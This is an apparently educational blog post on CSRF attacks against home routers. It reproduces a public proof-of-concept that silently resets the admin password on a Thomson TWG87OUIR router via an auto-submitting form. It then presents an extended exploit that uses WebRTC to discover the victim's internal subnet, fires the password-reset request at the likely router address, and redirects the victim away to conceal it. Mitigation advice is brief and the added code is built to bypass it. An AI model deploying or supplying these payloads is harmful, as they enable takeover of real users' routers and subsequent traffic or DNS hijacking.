Advanced CSRF Attacks against Modems, Routers, Accesspoints and other internal network devices

Introduction

In 2014 a lot of vulnerabilities were detected in SOHO devices. In addition to critical flaws, which allow unauthenticated attackers to execute arbitrary code, there are a mass of CSRF vulnerabilities which allow a remote attacker to change different settings within the vulnerable SOHO devices.
There is also an interesting and indepth technical report about vulnerable SOHO devices that describes several different attackt types against those devices SOHO Network Equipment …and the implications of a rich service set. Nevertheless, this blog post will only focus on attack types based on CSRF vulnerabilities.

Current attacks

Currently there are different CSRF attack campaigns against vulnerable devices, embedding the CSRF payload in hacked / hijacked websites and waiting for victims to visit those pages.
Last week a recent attack campaign was detected against common DSL routers from D-Link, TP-Link and ZTE which are all based on ZynOS operating system DNS hijacking flaw affects D-Link DSL router, possibly other devices

Example (CVE-2014-4716)

That CSRF vulnerability affects Thomson TWG87OUIR:

Thomson TWG87OUIR

The proof of concept exploit can be used to trigger a new password for the administrative user:

Author: nopesled
Date: 24/06/14
Vulnerability: POST Password Reset CSRF
Tested on: Thomson TWG87OUIR (Hardware Version)

<html>
	<head>
		<title>Thomson TWG87OUIR CSRF</title>
	</head>
	<body>
	<form name="exploit" method="post" action="http://192.168.0.1/goform/RgSecurity">
			<input type="hidden" name="HttpUserId" value="" />
			<input type="hidden" name="Password" value="newpass" />
			<input type="hidden" name="PasswordReEnter" value="newpass" />
			<input type="hidden" name="RestoreFactoryNo" value-="0x00" />
		</form>
		<script type="text/javascript">
			document.exploit.submit();
		</script>
	</body>
</html>

www.exploit-db.com/exploits/33866/

Mitigation

There are some recommendation to mitigate the risk of CSRF vulnerabilities:

  • Don't use the remember password function of your browsers to store credentials to the internal admin interface of SOHO devices
  • Change the default IP / subnet of the SOHO device

For every successful CSRF exploitation, the attacker must know the URI endpoint of the vulnerable request. By changing the default IP of the SOHO device the CSRF exploit will generally fail.

But ... we are advanced

Pinky and Brain

There is a nice WebRTC feature which, allows an attacker to detect all internal IP subnets. After that, he can use those internal subnets to extend the CSRF exploit by generating 254 requests for all possible IP addresses in that subnet (assumed it a private class c /24 network) or the ones, which are most likely (eg. .1 or .254).

The following lines are c&p'ed from the github project of webrtc-ips.

STUN IP Address requests for WebRTC
Demo: https://diafygi.github.io/webrtc-ips/
What this does
Firefox and Chrome have implemented WebRTC that allow requests to STUN servers be made that will return the local and public IP addresses for the user. These request results are available to javascript, so you can now obtain a users local and public IP addresses in javascript. This demo is an example implementation of that.
Additionally, these STUN requests are made outside of the normal XMLHttpRequest procedure, so they are not visible in the developer console or able to be blocked by plugins such as AdBlockPlus or Ghostery. This makes these types of requests available for online tracking if an advertiser sets up a STUN server with a wildcard domain.

PoC

As a result we can extend the above CSRF exploit by using the WebRTC feature to automatically detect the correct internal IP subnet and firing several requests. In the following PoC the exploit only uses .1 as the last IP octet but that could be extended to some others for example .254

<html>
	<head>
		<title>Thomson TWG87OUIR CSRF with WebRTC for internal IP detection</title>
	</head>
	<body>
  <script>
    //get the IP addresses associated with an account
    function getIPs(callback){
      var ip_dups = {};
      //compatibility for firefox and chrome
      var RTCPeerConnection = window.RTCPeerConnection
          || window.mozRTCPeerConnection
          || window.webkitRTCPeerConnection;
      var mediaConstraints = {
          optional: [{RtpDataChannels: true}]
      };
      //firefox already has a default stun server in about:config
      //    media.peerconnection.default_iceservers =
      //    [{"url": "stun:stun.services.mozilla.com"}]
      var servers = undefined;
      //add same stun server for chrome
      if(window.webkitRTCPeerConnection)
        servers = {iceServers: [{urls: "stun:stun.services.mozilla.com"}]};
      //construct a new RTCPeerConnection
      var pc = new RTCPeerConnection(servers, mediaConstraints);
      //listen for candidate events
      pc.onicecandidate = function(ice){
        //skip non-candidate events
        if(ice.candidate){
          //match just the IP address
          var ip_regex = /([0-9]{1,3}(\.[0-9]{1,3}){3})/
          var ip_addr = ip_regex.exec(ice.candidate.candidate)[1];
          //remove duplicates
          if(ip_dups[ip_addr] === undefined)
            callback(ip_addr);
          ip_dups[ip_addr] = true;
        }
      };
      //create a bogus data channel
      pc.createDataChannel("");
      //create an offer sdp
      pc.createOffer(function(result){
        //trigger the stun server request
        pc.setLocalDescription(result, function(){}, function(){});
      }, function(){});
    }
    //insert IP addresses into the page
    getIPs(function(ip){

      //local IPs
      if (ip.match(/^(192\.168\.|169\.254\.|10\.|172\.(1[6-9]|2\d|3[01]))/)) {
      
        var ip_router = ip.split(".");
        ip_router[3] = '1';
        ip_router = ip_router.join(".");
        
        my_form=document.createElement('FORM');
        my_form.name=ip_router;
        my_form.method='POST';
        my_form.action='http://'+ip_router+'/goform/RgSecurity';

        my_input1=document.createElement('INPUT');
        my_input1.type='HIDDEN';
        my_input1.name='HttpUserId';
        my_input1.value='';
        my_form.appendChild(my_input1);

        my_input2=document.createElement('INPUT');
        my_input2.type='HIDDEN';
        my_input2.name='Password';
        my_input2.value='test';
        my_form.appendChild(my_input2);

        my_input3=document.createElement('INPUT');
        my_input3.type='HIDDEN';
        my_input3.name='PasswordReEnter';
        my_input3.value='test';
        my_form.appendChild(my_input3);

        my_input4=document.createElement('INPUT');
        my_input4.type='HIDDEN';
        my_input4.name='RestoreFactoryNo';
        my_input4.value='0x00';
        my_form.appendChild(my_input4);

        document.body.appendChild(my_form);            
        my_form.submit();
        window.location.replace("http://stackoverflow.com");
      }
    });
  </script>
</body>

As can be seen from the following HTTP log of burpsuite there are 5 POST requests fired to all internal IP addresses and afterwards the victim is forwarded to some external page.

PoC burpsuite